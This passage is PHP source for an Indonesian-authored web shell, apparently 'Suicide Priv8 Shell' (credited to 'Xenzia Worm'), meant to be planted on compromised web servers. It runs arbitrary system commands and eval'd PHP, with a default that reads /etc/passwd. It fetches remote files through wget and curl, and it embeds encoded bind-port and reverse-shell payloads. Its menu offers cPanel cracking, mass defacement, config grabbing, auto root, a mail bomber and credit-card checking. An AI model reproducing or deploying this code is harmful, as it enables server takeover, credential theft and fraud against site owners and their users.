        $buff .= "<tr><td><a id="" . clearspace($file) . "_link" href="?sad=$pwd&amp;view=$full"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' />  $file</a>
<form action="?sad=$pwd" method="post" id="" . clearspace($file) . "_form" class="sembunyi" style="margin:0;padding:0;">
<input type="hidden" name="oldname" value="" . $file . "" style="margin:0;padding:0;" />
<input class="inputz" style="width:200px;" type="text" name="newname" value="" . $file . "" />
<input class="inputzbut" type="submit" name="rename" value="rename" />
<input class="inputzbut" type="submit" name="cancel" value="cancel" onclick="tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');" />
</form></td><td>" . ukuran($full) . "</td><td style="text-align:center;">" . $owner . "</td><td><center>
<a href="javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');">" . get_perms($full) . "</a>
<form action="?sad=$pwd" method="post" id="" . clearspace($file) . "_form2" class="sembunyi" style="margin:0;padding:0;">
<input type="hidden" name="name" value="" . $file . "" style="margin:0;padding:0;" />
<input class="inputz" style="width:200px;" type="text" name="newvalue" value="" . substr(sprintf('%o', fileperms($full)), -4) . "" />
<input class="inputzbut" type="submit" name="chmod" value="chmod" />
<input class="inputzbut" type="submit" name="cancel" value="cancel" onclick="tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');" /></form></center></td>
<td style="text-align:center;">" . date("d-M-Y H:i", @filemtime($full)) . "</td>
<td><a href="?sad=$pwd&amp;edit=$full">edit</a> | <a href="javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');">rename</a>| <a href="?sad=$pwd&amp;delete=$full">delete</a> | <a href="?sad=$pwd&amp;dl=$full">download</a>&nbsp;(<a href="?sad=$pwd&amp;dlgzip=$full">gz</a>)
</td></tr>";
    }
    $buff .= "<center><tr style='background-color:teal;'><td colspan='6'><center>This shell is only for the brave, not for the weak wKwkwk m/<br>Xenzia Worm - Kaizen 2018 | Allright Reserved</center></td></table>";
    return $buff;
}
function ukuran($file)
{
    if ($size = @filesize($file)) {
        if ($size <= 1024)
            return $size;
        else {
            if ($size <= 1024 * 1024) {
                $size = @round($size / 1024, 2);
                ;
                return "$size kb";
            } else {
                $size = @round($size / 1024 / 1024, 2);
                return "$size mb";
            }
        }
    } else
        return "???";
}
function exe($cmd)
{
    if (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $buff = @ob_get_contents();
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('exec')) {
        @exec($cmd, $results);
        $buff = "";
        foreach ($results as $result) {
            $buff .= $result;
        }
        return $buff;
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('shell_exec')) {
        $buff = @shell_exec($cmd);
        return $buff;
    }
}
function tulis($file, $text)
{
    $textz = gzinflate(base64_decode($text));
    if ($filez = @fopen($file, "w")) {
        @fputs($filez, $textz);
        @fclose($file);
    }
}
function ambil($link, $file)
{
    if ($fp = @fopen($link, "r")) {
        while (!feof($fp)) {
            $cont .= @fread($fp, 1024);
        }
        @fclose($fp);
        $fp2 = @fopen($file, "w");
        @fwrite($fp2, $cont);
        @fclose($fp2);
    }
}
function which($pr)
{
    $path = exe("which $pr");
    if (!empty($path)) {
        return trim($path);
    } else {
        return trim($pr);
    }
}
function download($cmd, $url)
{
    $namafile = basename($url);
    switch ($cmd) {
        case 'wwget':
            exe(which('wget') . " " . $url . " -O " . $namafile);
            break;
        case 'wlynx':
            exe(which('lynx') . " -source " . $url . " > " . $namafile);
            break;
        case 'wfread':
            ambil($wurl, $namafile);
            break;
        case 'wfetch':
            exe(which('fetch') . " -o " . $namafile . " -p " . $url);
            break;
        case 'wlinks':
            exe(which('links') . " -source " . $url . " > " . $namafile);
            break;
        case 'wget':
            exe(which('GET') . " " . $url . " > " . $namafile);
            break;
        case 'wcurl':
            exe(which('curl') . " " . $url . " -o " . $namafile);
            break;
        default:
            break;
    }
    return $namafile;
}
function get_perms($file)
{
    if ($mode = @fileperms($file)) {
        $perms = '';
        $perms .= ($mode & 00400) ? 'r' : '-';
        $perms .= ($mode & 00200) ? 'w' : '-';
        $perms .= ($mode & 00100) ? 'x' : '-';
        $perms .= ($mode & 00040) ? 'r' : '-';
        $perms .= ($mode & 00020) ? 'w' : '-';
        $perms .= ($mode & 00010) ? 'x' : '-';
        $perms .= ($mode & 00004) ? 'r' : '-';
        $perms .= ($mode & 00002) ? 'w' : '-';
        $perms .= ($mode & 00001) ? 'x' : '-';
        return $perms;
    } else
        return "??????????";
}
function clearspace($text)
{
    return str_replace(" ", "_", $text);
}
$tunisia         = '';
$port_bind_bd_c  = "bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl = "ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect    = "fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c  = "XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
?><html><head><link rel="icon" type="image/png" href="https://upload.wikimedia.org/wikipedia/commons/9/9f/FBISeal.png">
<title>Private Shell</title>
<script type="text/javascript">function tukar(b,a){document.getElementById(b).style.display="none";document.getElementById(a).style.display="block"};</script>
<link href="https://fonts.googleapis.com/css?family=Montserrat" rel="stylesheet">
<style>
/*<![CDATA[*/body::-webkit-scrollbar{width:1em}body::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3)}body::-webkit-scrollbar-thumb{background-color:darkgrey;
outline:1px solid slategrey}.mybox{-moz-border-radius:50px;
border-radius:10px;
border:1px solid #4c83af;padding:4px 2px;
width:100%;line-height:24px}
.myboxtbl{width:50%}body{background-color:transparan;
background:#000;background-image:url("<?php echo $background; ?>");
background-position:center;background-attachment:fixed;background-repeat:no-repeat}
a{text-decoration:none}hr,a:hover{border-bottom:1px solid #4c83af}*{text-shadow:0 0 .3em #999;
font-size:14px;font-family:'Montserrat',sans-serif;
color:<?php echo $fontcolor_global;?>}.tabnet{margin:15px auto 0 auto;
border:1px solid #333}.main{width:100%}.gaya{color:black}.top{border-left:1px solid black;
border-RIGHT:1px solid #fff;font-family:verdana}input{background:#111;
border:1;
padding:2px;
border-bottom:1px solid #222;
border-top:1px solid #222;
font-size:12px;vertical-align:middle;
height:20;border-left:1px solid #5d5d5d;
border-right:1px solid #121212;
border-bottom:1px solid #121212;border-top:1px solid #5d5d5d;
color:#9f9f9f}.inputz{background:#111;border:0;padding:2px;
border-bottom:1px solid #393939;
font-size:11px;color:#fff;-moz-border-radius:6px;
border-radius:10px;border:1px solid #4c83af;
margin:4px 0 8px 0}.inputzbut{background:#111;
color:#8f8f8f;margin:0 4px;
border:1px solid #444}.inputzbut:hover{border-bottom:1px solid #4c83af;
border-top:1px solid #4c83af}.inputz:hover{-moz-border-radius:6px;
border-radius:10px;border:1px solid #4c83af;margin:4px 0 8px 0;
border-bottom:1px solid #4c83af;border-top:1px solid #4c83af}.output2{margin:auto;
border:1px solid #888;background:#000;padding:0 2px}textarea{margin:auto;
border:2px solid #555;background:#000;padding:0 2px}.output{margin:auto;
border:1px solid #303030;
width:100%;
height:400px;
background:#000;
padding:0 2px}.cmdbox{width:100%}.head_info{padding:0 4px}.b1{font-size:30px;
padding:0;color:#555}.b2{font-size:30px;padding:0;
color:maroon}.b_tbl{text-align:center;
margin:0 4px 0 0;padding:0 4px 0 0;border-right:1px solid #333}.phpinfo table{width:100%;
padding:0}.phpinfo td{background:#111;color:#ccc;
padding:6px 8px}.phpinfo th,th{background:teal;
border-bottom:1px solid #333;font-weight:400}.phpinfo h2,.phpinfo h2
a{text-align:center;
font-size:16px;
padding:0;
margin:30px 0 0 0;
background:#222;
padding:4px 0}.explore{width:100%}.explore a{text-decoration:none}.explore td{border-bottom:1px solid #333;
padding:0 8px;
line-height:24px;color:#999}.explore th{padding:3px 8px;font-weight:400;
color:white}.explore th:hover,.phpinfo
th:hover{border-bottom:1px solid red}.explore tr:hover{background:#333}
.viewfile{background:#edeceb;color:#000;
margin:4px 2px;
padding:8px}.sembunyi{display:none;padding:0;margin:0}#menu{background:black;
font-family:'Montserrat',sans-serif;font-size:12px;
color:silver}#menu a{font-family:'Montserrat',sans-serif;padding:3px 5px;margin:2;text-shadow:0 0 .1em rgba(0,128,128,1),0pt 0 .3em rgba(0,128,128,1);background:#2d2b2b;text-decoration:none;letter-spacing:2px;display:inline-block;-moz-border-radius:10px;-webkit-border-radius:5px;-khtml-border-radius:5px;border-radius:5px}#menu a:hover{font-family:'Montserrat',sans-serif;background:#191919;border-bottom:1px solid #444;border-top:1px solid #444;color:#cecece}li{display:inline-block}ul{list-style-type:none;margin:0;margin:0}k,k a,k a:hover{text-shadow:0 0 .3em red;font-family:'Montserrat',sans-serif;font-size:25px;color:#fff}h7{font-size:35px}/*]]>*/</style><body onLoad="document.getElementById('cmd').focus()"><div class="main"><div class="head_info"> <table><tr><td width="15%"><table class="b_tbl" cellspacing="0">
<?php
echo '<center><img src="https://upload.wikimedia.org/wikipedia/commons/9/9f/FBISeal.png" width="150px"><br><br><b>'.(base64_decode('UHJpdmF0ZSBTaGVsbA==').'</b>');
?><div id="menu"><a href="?<?php
echo "sad=" . $pwd;
?>&amp;x=privacy">Privacy & Police</a></div></center>
</td></tr></table></td><td class="top" width='60%' valign="top"><?php
echo $buff;
?></td><td style="width:30%" valign="top"><a>SERVER IP :<?php
echo $server_ip . "<font color='red'><br><br></font> YOUR IP : " . $my_ip . "<br></a>";
?><br>
<div id="menu"><a href="?<?php
echo "sad=" . $pwd;
?>&amp;x=privacy">SUICIDE PRIV8 SHELL V.1</a></div></center>
<a href='https://suicide-db.blogspot.co.id/'><img src="https://4.bp.blogspot.com/-km-FgpyrPl4/WkWlBGaAFoI/AAAAAAAAA54/EgU3klAshoYfYcOwsvQ5jf7cDpu8CyU3ACK4BGAYYCw/s1600/as.png" width="400" height="100"  />
</td></tr></table></div><hr>
<div id="menu">
<center>
<ul><ul></ul><ul id="menu">
<li><a href="?">Home</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>">Files</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=upload">Upload</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=shell">Command</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=php">Eval</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=netsploit">Netsploit</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=mysql">MySQL</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=apache">Apache</a></li>

<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=root">Auto Root</a></li>

<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=cgi">CGI Telnet</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=blhost">BlueHost</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=hostg">HostGator</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=agovh">OVH</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=whme">WHMCS</a></li>

<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=joomla">Joomla</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=wordpress">Wordpress</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=vb">vBulletin</a></li>

<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=bbase">Base_Dir</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=finddir">Find Dir</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=fb">Facebook</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=twitter">Twitter</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=skype">Skype</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=gmail">Gmail/Hotmail</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=grabc">Config Grabber</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=sym">Symlink</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=jumping">Jumping</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=cpcrack">CPanel Crack</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=cpbrute">CPanel/FTP Auto Deface</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=hijack">Hijack</a></li>

<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=aglts">LiteSpeed</a></li>

<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=safemode">Safe Mode</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=base64">Base64 Enc/Dec</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=smtp">SMTP Grab</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=vhost">vHost</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=bingrb">Bing Graber</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=ngindexx">NginDexer</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=portscan">Port Scanner</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=hashgen">Hash Generate</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=hashid">HashID</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=webdav">Webdav Exploit</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=csrf">CSRF Exploit</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=fake">Fake Root</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=dnsraw">DNS Raw Lookup</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=testperm">Test Permission</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=mass">Mass Tools</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=get_tools">Tools</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=bypasser">Bypasser</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=brute">Brute Force</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=phpinfo">PHPinfo</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=zone-h">Zone-H</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=domains">Domains</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=string">String</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=cmsdet">CMS Detector</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=krdp">K-RDP Shell</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=mailtest">Mail Bomber</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=mailer">Mailer</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=ppcheck">Paypal Checker</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=ccheck">CC Checker</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=extra">Email Extractor</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=magento">Magento</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=dump">DB Dump</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=whois">WHOIS</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=ip">Reverse IP</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=backup">Backup ZIP</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=logs">Logs</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=kill">Kill</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=change_pass">Change Shell Password</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=settings">Settings</a></li>
<li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=about">About Me</a></li>
<li><a href="?logout" style="background:#900;color:#FFF;background-image:url('http://up.ashiyane.org/images/b5crr7rhrwc5e97nvgxq.png');background-position:2px;height:20px;width:100px;background-repeat:no-repeat">Logout</a></li>
</ul>
</center>
</div><hr>
<?php
if (isset($_GET['x']) && ($_GET['x'] == 'php')) {
?><form action="?sad=<?php
    echo $pwd;
?>&amp;x=php" method="post"><table class="cmdbox"><tr><td><textarea class="output" name="cmd" id="cmd" cols=90>
<?php
    if (isset($_POST['submitcmd'])) {
        echo eval(magicboom($_POST['cmd']));
    } else
        echo "echo file_get_contents('/etc/passwd');";
?></textarea></td></tr><tr><td><input style="width:19%" class="inputzbut" type="submit" value="Do !" name="submitcmd" /></td></tr></form></table></form> <?php
exit();
}
elseif (isset($_GET['logout'])) {
session_unset($_SESSION["login"]);
echo '<meta http-equiv="Refresh" content="0; URL='.$_SERVER['PHP_SELF'].'"/>';
}
elseif (isset($_GET['x']) && ($_GET['x'] == 'change_pass')) {
?>
<center>
<h1>Change Shell Password</h1>
<form action="?sad=<?php echo $pwd; ?>&amp;x=change_pass" method="post">
<input type="text" name="password" class="inputz"><br>
<input type="submit" name="submit" class="inputzbut">
</form>
<?php
if(isset($_POST['submit'])){
    $newpassword = md5($_POST['password']);
    $old_pass = '"'.$auth_pass.'";';
    $new_pass = '"'.$newpassword.'";';
    if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
        $kr_pass = file_get_contents($_SERVER['SCRIPT_FILENAME']);
        $kr_pass = preg_replace("/$old_pass/is",$new_pass,$kr_pass);
    if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $kr_pass)){
        echo "password baru : <font color=red>".$_POST['password']."</font> - <font color=greenyellow>$newpassword</font>";
    }
    }else{
        echo "Password gagal";
    }
}
    exit();
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mailtest'))
    {
        $to      = '[email protected]';
        $subject = 'Support Mailer ^_^';
        $message = 'Support Mailer ! ^_^';
        $headers = 'From: [email protected]' . "rn" .
        'Reply-To: [email protected]' . "rn" .
        'X-Mailer: PHP/' . phpversion();

        mail($to, $subject, $message, $headers);
        if(mail($to, $subject, $message, $headers)){
            echo '<script>alert("Support Mailer !!! Check your Email !")</script>';
        }else{
            echo '<script>alert("Error ! ")</script>';
        }
        exit();
    }
elseif(isset($_GET['x']) && ($_GET['x'] == 'settings'))
    {
     ?>
<center><br>
<h7>Settings Shell</h7><br>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=set_bg"><input class=inputzbut type=submit value=" Background Shell" /></a>
| <a href="?<?php echo "y=".$pwd; ?>&amp;x=set_login"><input class=inputzbut type=submit value=" Login Background" /></a><br>
</center>
<?php
    //functions settings
        $bgshell    = $_POST['bg_shell'];
        $bg_login   = $_POST['bg_login'];

       if(isset($_POST['submit'])){

        if (!empty($bgshell)) {
            $bgshelll = $_POST['bg_shell'];
            $replace_new = ''.$bgshelll.'';
            if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
                $write = file_get_contents($_SERVER['SCRIPT_FILENAME']);
                $background = preg_quote($background, '/');
                var_dump($background);
                exit();
                $write = preg_replace("/$background/",$replace_new,$write);
            if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $write)){
                echo '<center>Setting Saved !</center>';
            }
            }else{
                echo "<center>Setting Not Saved</center>";
            }
        }elseif(!empty($bg_login)){
            $bglogin = $_POST['bg_login'];
            $replace_new = ''.$bglogin.'';
            if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
                $write = file_get_contents($_SERVER['SCRIPT_FILENAME']);
                $background_login = preg_quote($background_login, '/');
                $write = preg_replace("/$background_login/",$replace_new,$write);
            if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $write)){
                echo '<center>Setting Saved !</center>';
            }
            }else{
                echo "<center>Setting Not Saved !</center>";
            }
        }
    }

    exit();
    }
//////////////////////  APACHE  ////////////////////
			elseif(isset($_GET['x']) && ($_GET['x'] == 'hashid'))
            {
	if (isset($_POST['gethash'])) {
        $hash = $_POST['hash'];
        if (strlen($hash) == 32) {
            $hashresult = "MD5 Hash";
        } elseif (strlen($hash) == 40) {
            $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
        } elseif (strlen($hash) == 13) {
            $hashresult = "DES(Unix) Hash";
        } elseif (strlen($hash) == 16) {
            $hashresult = "MySQL Hash / /DES(Oracle Hash)";
        } elseif (strlen($hash) == 41) {
            $GetHashChar = substr($hash, 40);
            if ($GetHashChar == "*") {
                $hashresult = "MySQL5 Hash";
            }
        } elseif (strlen($hash) == 64) {
            $hashresult = "SHA-256 Hash";
        } elseif (strlen($hash) == 96) {
            $hashresult = "SHA-384 Hash";
        } elseif (strlen($hash) == 128) {
            $hashresult = "SHA-512 Hash";
        } elseif (strlen($hash) == 34) {
            if (strstr($hash, '$1$')) {
                $hashresult = "MD5(Unix) Hash";
            }
        } elseif (strlen($hash) == 37) {
            if (strstr($hash, '$apr1$')) {
                $hashresult = "MD5(APR) Hash";
            }
        } elseif (strlen($hash) == 34) {
            if (strstr($hash, '$H$')) {
                $hashresult = "MD5(phpBB3) Hash";
            }
        } elseif (strlen($hash) == 34) {
            if (strstr($hash, '$P$')) {
                $hashresult = "MD5(Wordpress) Hash";
            }
        } elseif (strlen($hash) == 39) {
            if (strstr($hash, '$5$')) {
                $hashresult = "SHA-256(Unix) Hash";
            }
        } elseif (strlen($hash) == 39) {
            if (strstr($hash, '$6$')) {
                $hashresult = "SHA-512(Unix) Hash";
            }
        } elseif (strlen($hash) == 24) {
            if (strstr($hash, '==')) {
                $hashresult = "MD5(Base-64) Hash";
            }
        } else {
            $hashresult = "Hash type not found";
        }
    } else {
        $hashresult = "Not Hash Ente#ff0066";
    }
?>
	<center><br><Br><br>

		<form action="" method="POST">
		<tr>
		<table >
		<th colspan="5">Hash Identification</th>
		<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td>	<td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
		<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
	</table></tr></form>
	</center>
<?php
}
//////////////////////////////////////
			elseif(isset($_GET['x']) && ($_GET['x'] == 'hashgen'))
            {
	$submit = $_POST['enter'];

 if (isset($submit)) {

   $pass = $_POST['password']; // password

  $salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string

     $hash = md5($pass); // md5 hash #1

   $md4 = hash("md4", $pass);
        $hash_md5 = md5($salt . $pass); // md5 hash with salt #2

     $hash_md5_double = md5(sha1($salt . $pass)); // md5 hash with salt & sha1 #3

   $hash1 = sha1($pass); // sha1 hash #4
        $sha256 = hash("sha256", $text);

   $hash1_sha1 = sha1($salt . $pass); // sha1 hash with salt #5

 $hash1_sha1_double = sha1(md5($salt . $pass)); // sha1 hash with salt & md5 #6


    }
    echo '<form action="" method="post"><b> ';

  echo '<center><h2><b>-=[ Password Hash]=-</b></h2></center></tr>';

   echo ' <center><b>masukan kata yang ingin di encrypt:</b></center> ';

  echo ' <center><input class="inputz" type="text" name="password" size="40" />';

   echo '<center><input class="inputzbut" type="submit" name="enter" value="hash" />';

  echo ' <br>';
    echo ' <center>Hasil Hash</th></center></tr>';

   echo ' Original Password  <input class=inputz type=text size=50 value=' . $pass . '> <br><br>';

   echo ' MD5  <input class=inputz type=text size=50 value=' . $hash . '> <br><br>';

echo ' MD4  <input class=inputz type=text size=50 value=' . $md4 . '> <br><br>';

echo ' MD5 with Salt  <input class=inputz type=text size=50 value=' . $hash_md5 . '> <br><br>';

  echo ' MD5 with Salt & Sha1  <input class=inputz type=text size=50 value=' . $hash_md5_double . '> <br><br>';

